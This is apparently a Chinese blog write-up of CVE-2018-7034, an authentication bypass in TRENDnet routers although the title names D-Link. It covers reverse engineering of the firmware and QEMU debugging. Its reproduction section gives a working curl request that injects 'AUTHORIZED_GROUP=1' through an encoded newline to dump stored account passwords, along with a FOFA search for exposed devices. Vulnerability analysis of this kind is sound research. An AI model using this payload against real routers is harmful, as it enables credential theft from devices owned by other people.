当前位置: 首页 > article >正文

D-Link 登录信息泄露(越权)CVE-2018-7034 漏洞分析

D-Link 登录信息泄露(越权)CVE-2018-7034 漏洞分析

Description

TRENDnet TEW-751DR v1.03B03, TEW-752DRU v1.03B01, and TEW733GR v1.03B01 devices allow authentication bypass via an AUTHORIZED_GROUP=1 value, as demonstrated by a request for getcfg.php.

TRENDnet TEW-751DR v1.03B03、TEW-752DRU v1.03B01 和 TEW733GR v1.03B01 设备允许通过 AUTHORIZED_GROUP=1 值绕过身份验证,如 getcfg.php 请求所示。

0x01 漏洞定位

漏洞组件在/htdocs/web/getcfg.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true")
{
	echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
	if($AUTHORIZED_GROUP < 0)
	{
		/* not a power user, return error message */
		echo "\t<result>FAILED</result>\n";
		echo "\t<message>Not authorized</message>\n";
	}
	else
	{
		/* cut_count() will return 0 when no or only one token. */
		$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
		TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
		$SERVICE_INDEX = 0;
		while ($SERVICE_INDEX < $SERVICE_COUNT)
		{
			$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
			TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
			if ($GETCFG_SVC!="")
			{
				$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
				/* GETCFG_SVC will be passed to the child process. */
				if (isfile($file)=="1") dophp("load", $file);
			}
			$SERVICE_INDEX++;
		}
	}
}
?></postxml>

如果可以使 A U T H O R I Z E D G R O U P > = 0 ,这一部分 AUTHORIZED_GROUP >= 0,这一部分 AUTHORIZEDGROUP>=0,这一部分file的值可控,导致可以任意加载路径在/htdocs/webinc/getcfg目录下,且后缀是.xml.php的文件

			$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
			TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
			if ($GETCFG_SVC!="")
			{
				$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
				/* GETCFG_SVC will be passed to the child process. */
				if (isfile($file)=="1") dophp("load", $file);
			}

找到这么多

$ find ./ -name '*.xml.php'
./RUNTIME.LOG.xml.php
./INET.WAN-5.xml.php
./DDNS4.WAN-1.xml.php
./RUNTIME.INF.LAN-1.xml.php
./SHAREPORT.xml.php
./PHYINF.WIFI.xml.php
./WEBACCESS.xml.php
......

其中:/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php泄露了账号密码

<module>
        <service><?=$GETCFG_SVC?></service>
        <device>
<?
echo "\t\t<gw_name>".query("/device/gw_name")."</gw_name>\n";
?>
                <account>
<?
$cnt = query("/device/account/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/account/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/account/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
foreach("/device/account/entry")
{
        if ($InDeX > $cnt) break;
        echo "\t\t\t<entry>\n";
        echo "\t\t\t\t<uid>".           get("x","uid"). "</uid>\n";
        echo "\t\t\t\t<name>".          get("x","name").        "</name>\n";
        echo "\t\t\t\t<usrid>".         get("x","usrid").       "</usrid>\n";
        echo "\t\t\t\t<password>".      get("x","password")."</password>\n";
        echo "\t\t\t\t<group>".         get("x", "group").      "</group>\n";
        echo "\t\t\t\t<description>".get("x","description")."</description>\n";
        echo "\t\t\t</entry>\n";
}
?>              </account>
                <group>
<?
$cnt = query("/device/group/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/group/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/group/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
$b = "/device/group/entry";
function gen_member($s,$p)
{
        $cnt = query($p."/count");
        echo $s."<member>\n";
        echo $s."\t<seqno>".query($p."/seqno")."</seqno>\n";
        echo $s."\t<max>".query($p."/max")."</max>\n";
        echo $s."\t<count>".$cnt."</count>\n";
        foreach($p."/entry")
        {
                if ($InDeX > $cnt) break;
                echo $s."\t<entry>\n";
                echo $s."\t\t<uid>".    get("x","uid"). "</uid>\n";
                echo $s."\t\t<name>".   get("x","name"). "</name>\n";
                echo $s."\t</entry>\n";
        }
        echo $s."</member>\n";
}
foreach($b)
{
        if ($InDeX > $cnt) break;
        echo "\t\t\t<entry>\n";
        echo "\t\t\t\t<uid>".           get("x","uid"). "</uid>\n";
        echo "\t\t\t\t<name>".          get("x","name").        "</name>\n";
        echo "\t\t\t\t<gid>".           get("x","gid"). "</gid>\n";
        gen_member("\t\t\t\t", $b.":".$InDeX."/member");
        echo "\t\t\t</entry>\n";
}
?>              </group>
                <session>
<?
        echo dump(3, "/device/session");
?>              </session>
        </device>
</module>

那么现在的问题在于,如何使得$AUTHORIZED_GROUP>=0呢?找一找相关的文件

$ grep -ra 'AUTHORIZED_GROUP' 
squashfs-root/htdocs/web/DevInfo.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/getcfg.php:    if($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/log_get.php:if ($AUTHORIZED_GROUP==0)
squashfs-root/htdocs/web/dlnastate.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/diagnostic.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wpsstate.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wpsacts.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/session_act.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/check.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/sitesurvey.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/check_stats.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/js/postxml.js:                                 self.AuthorizedGroup = xml.Get("/report/AUTHORIZED_GROUP");
squashfs-root/htdocs/web/log_clear.php:if ($AUTHORIZED_GROUP==0)
squashfs-root/htdocs/web/wandetect.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/ddns_act.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wifi_stat.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/routing_stat.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/firmversion.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wiz_freset.php:if(query("/runtime/device/devconfsize")=="0") $AUTHORIZED_GROUP = 0;
squashfs-root/htdocs/cgibin:    <AUTHORIZED_GROUP>%d</AUTHORIZED_GROUP>
squashfs-root/htdocs/cgibin:application/audio/example/image/message/model/multipart/text/video/read_ct_videoread_ct_textread_ct_multipartread_ct_modelread_ct_messageread_ct_imageread_ct_exampleread_ct_audioread_ct_applicationSystem rebootUpgrade firmware successFail to write file!Image file is not acceptable. Please check download version is rightFail to get the file, please check the IP address and check the file name::ffff:Web login success from %sWeb login failure from %sWeb logout from %s_POST__FILES_N/A_FILETYPES__GET__SERVER_REQUEST_METHODHEADGETPOST/htdocs/web/info.php/info.phpFAILERR_REQ_TOO_LONGunsupported HTTP requestAUTHORIZED_GROUP=%dSESSION_UID=sobj_new() error!ERR_NO_FILEr+ERR_FOPEN_FAILsignature=_aLpHaERR_INVALID_SEAMAERR_SEAMA_META_TOO_LARGEERR_SEAMA_CHECKSUM_ERRERR_SEAMA_META_ERRnoheader=1type=type=firmwaretype=devconfdev=/dev/mtdblock/2/var/config.xml.gzdevconf put -f /var/config.xml.gz%lu/var/session/configsize/var/firmware.seama/var/session/imagesizeERR_INVALID_FILE/etc/config/image_signPELOTA_REPORT/dlcfg.cgiREPORT_METHODhttp://HTTP_HOSTSERVER_PORT80HTTP_REFERERDELAYERR_UNAUTHORIZED_SESSIONERR_READ_SIGN_FAILSUCCESS/var/run/fwseama.lockpreupdate:%d:event PREFWUPDATEERR_ANOTHER_FWUP_PROGRESS/etc/scripts/dlcfg_hlper.sh/htdContent-Disposition: attachment; filename="%s"
squashfs-root/htdocs/webinc/templates.php:      if (isfile("/htdocs/webinc/js/".$TEMP_MYNAME.".php")==1  && $AUTHORIZED_GROUP >= 0)
squashfs-root/htdocs/webinc/templates.php:      var AUTH = new Authenticate(<?=$AUTHORIZED_GROUP?>, <?echo query("/device/session/timeout");?>);
squashfs-root/htdocs/webinc/templates.php:      var PAGE = <? if (isfile("/htdocs/webinc/js/".$TEMP_MYNAME.".php")==1 && $AUTHORIZED_GROUP>=0) echo "new Page();"; else echo "null;"; ?>
squashfs-root/htdocs/webinc/templates.php:      if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php:      if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php:      if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php:      if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/js/info.php:                //TRACE_error("AUTHORIZED_GROUP=".$_GET["AUTHORIZED_GROUP"]);

这里面有两个给$AUTHORIZED_GROUP赋值的地方,一个是在/htdocs/web/wiz_freset.php,另一个是在/htdocs/cgibin。

先看/htdocs/web/wiz_freset.php,通过注释可以知道,只有是默认出厂状态时才会无需登录给$AUTHORIZED_GROUP赋值为0。

<?
/* Enter wizard without login when it is factory default.*/
if(query("/runtime/device/devconfsize")=="0") $AUTHORIZED_GROUP = 0;

$TEMP_MYNAME	= "wiz_freset";
$TEMP_MYGROUP	= "";
$TEMP_STYLE		= "simple";
include "/htdocs/webinc/templates.php";
?>

0x02 逆向分析

下面来分析/htdocs/cgibin,也就是真正实现绕过的地方

cgibin的main函数中调用了phpcgi_main函数

在这里插入图片描述

跟进phpcgi_main函数

在这里插入图片描述

sobj_new();创建了一个结构体,用于存放之后解析出来的各个字段。sobj_add_string(_DWORD *a1, const char *s)是将s添加到前面定义的结构体中。sobj_add_string(v7, *(_DWORD *)(a2 + 4))(a2 + 4)(即第一个命令行参数argv[1])存入这个结构体。

下面启动qemu来动态调试

sudo cp /usr/bin/qemu-mipsel-static ./usr/bin/ 

sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -g 1234 ./usr/sbin/phpcgi phpcgi 123

在sobj_add_string处下一个断点
在这里插入图片描述

可以看到成功载入了phpcgi(传入的第一个参数)

在这里插入图片描述

下面27-32行是一个循环

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

33-48行这部分代码先判断了 REQUEST_METHOD 的值,HEADGETsub_405CF8 函数指针赋值给 v11POST 则将 sub_405AC0 函数指针赋值给 v11

在这里插入图片描述

然后就会进入cgibin_parse_request函数中,对url做进一步处理,解析REQUEST_URL中’?'(ASCII 63)后面的部分,把类似?arg1=aaa&arg2=bbbb的部分做url解码(经过sub_403864函数)后,将键值存到结构体中。

这里要注意的是,如果REQUEST_URL不存在,将直接返回-1,传到到main函数里,会导致整个程序退出。所以qemu的语句里要加上-E REQUEST_URL=hhh?arg1=xxxx

sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_URL="hhh?arg1=xxxx" -g 1234 ./usr/sbin/phpcgi phpcgi 123

在这里插入图片描述

回到cgibin_parse_request中,这里还需要添加CONTENT_TYPE和CONTENT_LENGTH到环境变量中,更新一下qemu启动语句

[注意:CONTENT_LENGTH 必须要严格和输入的数据长度一样]

sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E CONTENT_LENGTH="4096" -E REQUEST_URL="hhh?arg1=xxxx" -g 1234 ./usr/sbin/phpcgi phpcgi 123

在这里插入图片描述

继续,我们想执行到第 38 行的指针,需要通过 strncasecmp 函数的检测,进行字符串比较,两个字符串v9和v14相同才能进入判断。

在这里插入图片描述

这部分可以详细看一下啥意思,把已知的变量名改了

              return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_433014)[3 * v11 - 1])(
                       a1,
                       a2,
                       content_len,
                       &content_type[n]);
          }
    

1、(int (__fastcall *)(int, int, unsigned int, char *))

这部分定义了一个函数指针类型,具体含义如下:

  • int:表示该函数返回一个int类型的值。
  • __fastcall:这是调用约定(calling convention),表示函数参数通过寄存器传递(而不是栈)。
  • (int, int, unsigned int, char *):表示该函数接受四个参数

2、(&off_433014)[3 * v11 - 1]
这部分是关键,用于从off_433014中提取一个函数指针。我们可以逐步拆解:

  • &off_433014:取off_433014的地址,可能是一个函数指针数组的首地址。
  • [3 * v11 - 1]:对off_433014进行索引操作,索引值为3 * v11 - 1。

所以整体的逻辑就是程序首先从环境变量中获取请求的 CONTENT_LENGTH(存储在变量 v7 中)和 CONTENT_TYPE(存储在变量 v9 中)。接下来,它利用一个循环遍历一个以 off_433014 为起始地址的数组。这个数组组织为以 3 个元素为一组的三元组,通常每个三元组包含:

  1. 内容类型前缀字符串(例如 "application/json""application/" 部分)
  2. 该字符串的长度(用于比较时的前缀长度)
  3. 处理该类型的回调函数指针

循环中,变量 v11 记录当前是第几个三元组。对每个三元组,程序比较环境变量 CONTENT_TYPE(存放在 v9 中)与当前三元组中的内容类型前缀(字符串和其长度 n)是否匹配(使用不区分大小写的比较函数 strncasecmp)。一旦匹配,就说明当前请求的 CONTENT_TYPE 属于这一类,那么接下来的处理就由对应的回调函数来完成。

在off_433014这里,ida没有识别出来这是地址,手动操作一下,就得到了函数名sub_40445C

在这里插入图片描述

下面是sub_40445C,匹配的是CONTENT_TYPE=“application/x-www-form-urlencoded”

int __fastcall sub_40445C(int a1, int a2, int a3, const char *a4)
{
  if ( !strncasecmp(a4, "x-www-form-urlencoded", 0x15u) )
    return sub_403A0C(a1, a2, a3);
  sub_4033E8(a3);
  sub_4040E0("read_ct_application", a4);
  return -1;
}

跟进sub_403A0C,里面有一个read函数,我们POST请求的内容也就是从这里读进去的

在这里插入图片描述

然后进入sub_403864函数

在这里插入图片描述

image-20231027165331769

这里就是payload中%0a的来源,%0a被解析成了\n

下面这里的v9就是cgibin_parse_request的第一个参数,作为了函数地址,sub_405AC0

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

image-20231027163251517

再看 sub_405AC0 函数,开始的 if(*a2)0 ,直接看 else 部分

在这里插入图片描述

首先是往 a1 里面添加了字符串 _POST_ (这个 a1 是之前一直存放解析各种数据的结构体)

接着 sobj_add_string((_DWORD *)a1, v5)a1 里面添加了 POST 内容(也就是 read 读入的数据)中 = 前面的部分

随后又向 a1 里写入了 == 后半部分以及 \n ,就不再赘述了。这个函数执行完毕后,就把 POST 报文的内容给按照一定格式解析写到了内存里

image-20231027164657601

0x03 漏洞复现

fofa搜索"tew-751dr"

curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1” http://[ip]/getcfg.php
在这里插入图片描述

在这里插入图片描述

参考链接

https://research.checkpoint.com/2017/good-zero-day-skiddie/

https://cn-sec.com/archives/3690438.html

https://zikh26.github.io/posts/5f982ad5.html


http://www.kler.cn/a/600426.html

相关文章:

  • ENSP学习day9
  • 查找热点数据问题 | 数据结构
  • 某网关管理软件 9-12ping.php 命令执行漏洞(CVE-2025-1448)
  • 能源监控软件UI界面设计:科技与美学的交融
  • Python----计算机视觉处理(Opencv:绘制图像轮廓:寻找轮廓,findContours()函数)
  • 解决stm32引脚如果选择输入模式
  • 关于MTU的使用(TCP/IP网络下载慢可能与此有关)
  • AF3 Rotation 类解读
  • Java多线程与高并发专题——如何利用 CompletableFuture 解决“聚合打车服务平台”的问题?
  • Sqladmin - FastAPI框架下一键生成管理后台
  • python常见反爬思路详解
  • 网络基础梳理
  • OWASP Top漏洞说明
  • Python爬虫获取1688商品(按图搜索)接口的返回数据说明
  • vulnhub-Tr0ll ssh爆破、wireshark流量分析,exp、寻找flag。思维导图带你清晰拿到所以flag
  • 蓝桥杯——————数位排序(java)
  • uniapp自身bug | uniapp+vue3打包后 index.html无法直接运行
  • Android Compose 框架基本状态管理(mutableStateOf、State 接口)深入剖析(十四)
  • Unity将运行时Mesh导出为fbx
  • 基于websocketpp实现的五子棋项目